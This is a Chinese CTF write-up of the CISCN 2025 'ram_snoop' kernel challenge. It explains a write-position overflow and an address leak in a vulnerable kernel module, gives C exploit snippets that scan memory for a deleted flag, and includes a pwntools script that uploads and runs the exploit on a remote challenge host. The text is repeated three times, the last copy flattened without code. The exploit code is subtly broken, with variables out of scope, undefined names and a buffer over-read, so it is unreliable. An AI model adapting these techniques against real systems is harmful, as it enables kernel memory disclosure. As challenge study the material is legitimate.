2025ciscn的ram_snoop题解
字数 1082
更新时间 2025-12-31 12:15:34

ram_snoop 题目分析与利用技术详解

题目概述

ram_snoop 是2025年CISCN比赛中的一道二进制安全题目,考察内核模块漏洞利用技术。题目核心是通过内存页残留数据读取已删除的flag。

题目背景分析

关键组件

  1. eatFlag程序:负责将flag文件内容读入内存后立即删除文件
  2. babydev.ko内核模块:存在漏洞的可加载内核模块
  3. 特殊设备:/dev/noc 设备文件,提供用户态与内核的交互接口

flag处理机制

__int64 __fastcall flag_init(__int64 argc, __int64 argv, __int64 envp)
{
    __int64 v4 = fopen64("/flag");
    flag = malloc(256);
    fread_unlocked(flag, 1, 256, v4);
    fclose(v4);
    return remove("/flag"); // 关键:读取后立即删除
}

漏洞分析

1. 全局缓冲区结构

内核模块维护一个全局缓冲区:

  • 大小:0x10000字节
  • 结构:包含数据区和元数据区

2. Write-Pos Overflow漏洞

在dev_write函数中存在关键漏洞:

unsigned __int64 __fastcall dev_write(__int64 a1, __int64 a2, unsigned __int64 size, __int64 *a4)
{
    __int64 write_pos = *a4;
    unsigned __int64 actual_size = size;
    
    // 漏洞点:边界检查逻辑错误
    if (write_pos + size > 0x10000) {
        actual_size = (unsigned __int16)-*(_WORD *)a4; // 关键漏洞
    }
    
    // 写入操作
    if (copy_from_user(write_pos + global_buf, a2, actual_size))
        return -14;
    
    // 更新写位置
    *a4 += actual_size;
    return actual_size;
}

漏洞原理

  • write_pos + size > 0x10000 时,actual_size 被设置为 (unsigned short)-(write_pos & 0xFFFF)
  • 这相当于 0x10000 - (write_pos & 0xFFFF),允许越界写入

3. 内存泄露机制

通过ioctl可以泄露global_buf地址:

struct noc_ {
    s32 index;
    s8 command[0x10];
    s32 date1;
    s32 date2;
    s32 padding;
    u64 buf; // 返回的global_buf地址
};

利用技术

利用步骤

阶段1:获取内核缓冲区地址

  1. 打开 /dev/noc 设备
  2. 使用特定ioctl命令(0x83170405)获取global_buf地址
  3. 验证地址有效性

阶段2:构造越界写入

  1. 通过精心构造的写入操作触发Write-Pos Overflow
  2. 利用漏洞使写指针越过缓冲区边界
  3. 同步调整seek位置与写指针

阶段3:内存扫描

  1. 使用dev_seek调整读取位置
  2. 分块读取物理内存(通常扫描128MB范围)
  3. 搜索flag特征模式(如"flag{")

关键代码实现

// 内存增长函数
int grow_memory(s32 fd) {
    const size_t SPRAY_SIZE = 0x1000;
    u8 *pad = malloc(SPRAY_SIZE);
    memset(pad, 0x41, SPRAY_SIZE); // 填充数据
    
    // 触发越界写入
    for (int i = 0; i < 10; i++) {
        if (write(fd, pad, SPRAY_SIZE) != (ssize_t)SPRAY_SIZE) {
            return -1;
        }
    }
    free(pad);
    return 1;
}

// 标志扫描函数
int scan_for_flag(s32 fd, u64 base) {
    const char *patterns[] = {"flag{"};
    u8 *buffer = malloc(SPRAY_SIZE + 16);
    
    for (u64 offset = 0; offset < TOTAL_SIZE; offset += SPRAY_SIZE) {
        lseek(fd, (off_t)offset, SEEK_SET);
        read(fd, buffer, SPRAY_SIZE);
        
        // 模式匹配
        for (size_t i = 0; i <= SPRAY_SIZE; i++) {
            for (size_t p = 0; p < pattern_count; p++) {
                if (memcmp(buffer + i, patterns[p], strlen(patterns[p])) == 0) {
                    // 找到疑似flag位置
                    extract_flag_content(fd, base, offset + i);
                }
            }
        }
    }
    free(buffer);
    return 0;
}

环境配置与调试

初始化脚本调整

原题提供的init脚本需要调整以确保正确启动环境:

#!/bin/sh
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

# 加载内核模块
if [ -f /babydev.ko ]; then
    insmod /babydev.ko
fi

chmod 777 /dev/noc /tmp
cp /proc/kallsyms /tmp/coresysms.txt

# 启动eatFlag进程(关键)
/home/eatFlag &

# 启动shell
exec /bin/sh

文件系统打包

使用正确的cpio打包方法:

#!/bin/sh
set -e
echo "开始打包core..."

# 创建cpio归档
find . 2>/dev/null | cpio -o -H newc -R root:root > ../core.cpio

# 验证归档
if [ -s ../core.cpio ]; then
    echo "打包成功"
else
    echo "错误: 生成的cpio文件为空"
    exit 1
fi

远程利用脚本

from pwn import *
import base64

context.log_level = "info"

def exploit_remote(host, port):
    # 读取并编码exp二进制
    with open("./exp", "rb") as f:
        exp_bin = f.read()
    
    b64_data = base64.b64encode(exp_bin).decode("ascii")
    lines = [b64_data[i:i+76] for i in range(0, len(b64_data), 76)]
    
    p = remote(host, port)
    p.recvuntil([b"/ $", b"# "])
    
    # 上传exp
    p.sendline(b"cat <<'EOF' > /tmp/exploit.b64")
    for line in lines:
        p.sendline(line.encode())
    p.sendline(b"EOF")
    
    # 解码执行
    p.recvuntil([b"/ $", b"# "])
    p.sendline(b"base64 -d /tmp/exploit.b64 > /tmp/exploit")
    p.recvuntil([b"/ $", b"# "])
    p.sendline(b"chmod +x /tmp/exploit")
    p.recvuntil([b"/ $", b"# "])
    p.sendline(b"/tmp/exploit")
    
    return p

# 使用示例
# p = exploit_remote("60.205.142.235", 32884)
# p.interactive()

技术要点总结

  1. 物理内存残留:进程退出后,其内存页可能仍包含敏感数据直到被重用
  2. 越界访问:通过整数溢出和边界检查漏洞实现可控的越界内存访问
  3. 内核地址泄露:利用ioctl接口泄露内核数据结构地址
  4. 大规模内存扫描:系统性地搜索特定内存模式

防御建议

  1. 安全的内存管理:进程退出后及时清理敏感数据
  2. 严格的边界检查:避免整数溢出和边界检查逻辑错误
  3. 地址空间布局随机化:增加内核地址泄露难度
  4. 内存保护机制:使用适当的内存保护技术防止越界访问

该题目展示了物理内存残留数据利用的实际案例,对于理解内核安全性和内存管理机制具有重要意义。

ram_snoop 题目分析与利用技术详解

题目概述

ram_snoop 是2025年CISCN比赛中的一道二进制安全题目,考察内核模块漏洞利用技术。题目核心是通过内存页残留数据读取已删除的flag。

题目背景分析

关键组件

  1. eatFlag程序:负责将flag文件内容读入内存后立即删除文件
  2. babydev.ko内核模块:存在漏洞的可加载内核模块
  3. 特殊设备:/dev/noc 设备文件,提供用户态与内核的交互接口

flag处理机制

__int64 __fastcall flag_init(__int64 argc, __int64 argv, __int64 envp)
{
    __int64 v4 = fopen64("/flag");
    flag = malloc(256);
    fread_unlocked(flag, 1, 256, v4);
    fclose(v4);
    return remove("/flag"); // 关键:读取后立即删除
}

漏洞分析

1. 全局缓冲区结构

内核模块维护一个全局缓冲区:

  • 大小:0x10000字节
  • 结构:包含数据区和元数据区

2. Write-Pos Overflow漏洞

在dev_write函数中存在关键漏洞:

unsigned __int64 __fastcall dev_write(__int64 a1, __int64 a2, unsigned __int64 size, __int64 *a4)
{
    __int64 write_pos = *a4;
    unsigned __int64 actual_size = size;
    
    // 漏洞点:边界检查逻辑错误
    if (write_pos + size > 0x10000) {
        actual_size = (unsigned __int16)-*(_WORD *)a4; // 关键漏洞
    }
    
    // 写入操作
    if (copy_from_user(write_pos + global_buf, a2, actual_size))
        return -14;
    
    // 更新写位置
    *a4 += actual_size;
    return actual_size;
}

漏洞原理

  • write_pos + size > 0x10000 时,actual_size 被设置为 (unsigned short)-(write_pos & 0xFFFF)
  • 这相当于 0x10000 - (write_pos & 0xFFFF),允许越界写入

3. 内存泄露机制

通过ioctl可以泄露global_buf地址:

struct noc_ {
    s32 index;
    s8 command[0x10];
    s32 date1;
    s32 date2;
    s32 padding;
    u64 buf; // 返回的global_buf地址
};

利用技术

利用步骤

阶段1:获取内核缓冲区地址

  1. 打开 /dev/noc 设备
  2. 使用特定ioctl命令(0x83170405)获取global_buf地址
  3. 验证地址有效性

阶段2:构造越界写入

  1. 通过精心构造的写入操作触发Write-Pos Overflow
  2. 利用漏洞使写指针越过缓冲区边界
  3. 同步调整seek位置与写指针

阶段3:内存扫描

  1. 使用dev_seek调整读取位置
  2. 分块读取物理内存(通常扫描128MB范围)
  3. 搜索flag特征模式(如"flag{")

关键代码实现

// 内存增长函数
int grow_memory(s32 fd) {
    const size_t SPRAY_SIZE = 0x1000;
    u8 *pad = malloc(SPRAY_SIZE);
    memset(pad, 0x41, SPRAY_SIZE); // 填充数据
    
    // 触发越界写入
    for (int i = 0; i < 10; i++) {
        if (write(fd, pad, SPRAY_SIZE) != (ssize_t)SPRAY_SIZE) {
            return -1;
        }
    }
    free(pad);
    return 1;
}

// 标志扫描函数
int scan_for_flag(s32 fd, u64 base) {
    const char *patterns[] = {"flag{"};
    u8 *buffer = malloc(SPRAY_SIZE + 16);
    
    for (u64 offset = 0; offset < TOTAL_SIZE; offset += SPRAY_SIZE) {
        lseek(fd, (off_t)offset, SEEK_SET);
        read(fd, buffer, SPRAY_SIZE);
        
        // 模式匹配
        for (size_t i = 0; i <= SPRAY_SIZE; i++) {
            for (size_t p = 0; p < pattern_count; p++) {
                if (memcmp(buffer + i, patterns[p], strlen(patterns[p])) == 0) {
                    // 找到疑似flag位置
                    extract_flag_content(fd, base, offset + i);
                }
            }
        }
    }
    free(buffer);
    return 0;
}

环境配置与调试

初始化脚本调整

原题提供的init脚本需要调整以确保正确启动环境:

#!/bin/sh
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

# 加载内核模块
if [ -f /babydev.ko ]; then
    insmod /babydev.ko
fi

chmod 777 /dev/noc /tmp
cp /proc/kallsyms /tmp/coresysms.txt

# 启动eatFlag进程(关键)
/home/eatFlag &

# 启动shell
exec /bin/sh

文件系统打包

使用正确的cpio打包方法:

#!/bin/sh
set -e
echo "开始打包core..."

# 创建cpio归档
find . 2>/dev/null | cpio -o -H newc -R root:root > ../core.cpio

# 验证归档
if [ -s ../core.cpio ]; then
    echo "打包成功"
else
    echo "错误: 生成的cpio文件为空"
    exit 1
fi

远程利用脚本

from pwn import *
import base64

context.log_level = "info"

def exploit_remote(host, port):
    # 读取并编码exp二进制
    with open("./exp", "rb") as f:
        exp_bin = f.read()
    
    b64_data = base64.b64encode(exp_bin).decode("ascii")
    lines = [b64_data[i:i+76] for i in range(0, len(b64_data), 76)]
    
    p = remote(host, port)
    p.recvuntil([b"/ $", b"# "])
    
    # 上传exp
    p.sendline(b"cat <<'EOF' > /tmp/exploit.b64")
    for line in lines:
        p.sendline(line.encode())
    p.sendline(b"EOF")
    
    # 解码执行
    p.recvuntil([b"/ $", b"# "])
    p.sendline(b"base64 -d /tmp/exploit.b64 > /tmp/exploit")
    p.recvuntil([b"/ $", b"# "])
    p.sendline(b"chmod +x /tmp/exploit")
    p.recvuntil([b"/ $", b"# "])
    p.sendline(b"/tmp/exploit")
    
    return p

# 使用示例
# p = exploit_remote("60.205.142.235", 32884)
# p.interactive()

技术要点总结

  1. 物理内存残留:进程退出后,其内存页可能仍包含敏感数据直到被重用
  2. 越界访问:通过整数溢出和边界检查漏洞实现可控的越界内存访问
  3. 内核地址泄露:利用ioctl接口泄露内核数据结构地址
  4. 大规模内存扫描:系统性地搜索特定内存模式

防御建议

  1. 安全的内存管理:进程退出后及时清理敏感数据
  2. 严格的边界检查:避免整数溢出和边界检查逻辑错误
  3. 地址空间布局随机化:增加内核地址泄露难度
  4. 内存保护机制:使用适当的内存保护技术防止越界访问

该题目展示了物理内存残留数据利用的实际案例,对于理解内核安全性和内存管理机制具有重要意义。

ram_ snoop 题目分析与利用技术详解 题目概述 ram_ snoop 是2025年CISCN比赛中的一道二进制安全题目,考察内核模块漏洞利用技术。题目核心是通过内存页残留数据读取已删除的flag。 题目背景分析 关键组件 eatFlag程序 :负责将flag文件内容读入内存后立即删除文件 babydev.ko内核模块 :存在漏洞的可加载内核模块 特殊设备 :/dev/noc 设备文件,提供用户态与内核的交互接口 flag处理机制 漏洞分析 1. 全局缓冲区结构 内核模块维护一个全局缓冲区: 大小:0x10000字节 结构:包含数据区和元数据区 2. Write-Pos Overflow漏洞 在dev_ write函数中存在关键漏洞: 漏洞原理 : 当 write_pos + size > 0x10000 时, actual_size 被设置为 (unsigned short)-(write_pos & 0xFFFF) 这相当于 0x10000 - (write_pos & 0xFFFF) ,允许越界写入 3. 内存泄露机制 通过ioctl可以泄露global_ buf地址: 利用技术 利用步骤 阶段1:获取内核缓冲区地址 打开 /dev/noc 设备 使用特定ioctl命令(0x83170405)获取global_ buf地址 验证地址有效性 阶段2:构造越界写入 通过精心构造的写入操作触发Write-Pos Overflow 利用漏洞使写指针越过缓冲区边界 同步调整seek位置与写指针 阶段3:内存扫描 使用dev_ seek调整读取位置 分块读取物理内存(通常扫描128MB范围) 搜索flag特征模式(如"flag{") 关键代码实现 环境配置与调试 初始化脚本调整 原题提供的init脚本需要调整以确保正确启动环境: 文件系统打包 使用正确的cpio打包方法: 远程利用脚本 技术要点总结 物理内存残留 :进程退出后,其内存页可能仍包含敏感数据直到被重用 越界访问 :通过整数溢出和边界检查漏洞实现可控的越界内存访问 内核地址泄露 :利用ioctl接口泄露内核数据结构地址 大规模内存扫描 :系统性地搜索特定内存模式 防御建议 安全的内存管理 :进程退出后及时清理敏感数据 严格的边界检查 :避免整数溢出和边界检查逻辑错误 地址空间布局随机化 :增加内核地址泄露难度 内存保护机制 :使用适当的内存保护技术防止越界访问 该题目展示了物理内存残留数据利用的实际案例,对于理解内核安全性和内存管理机制具有重要意义。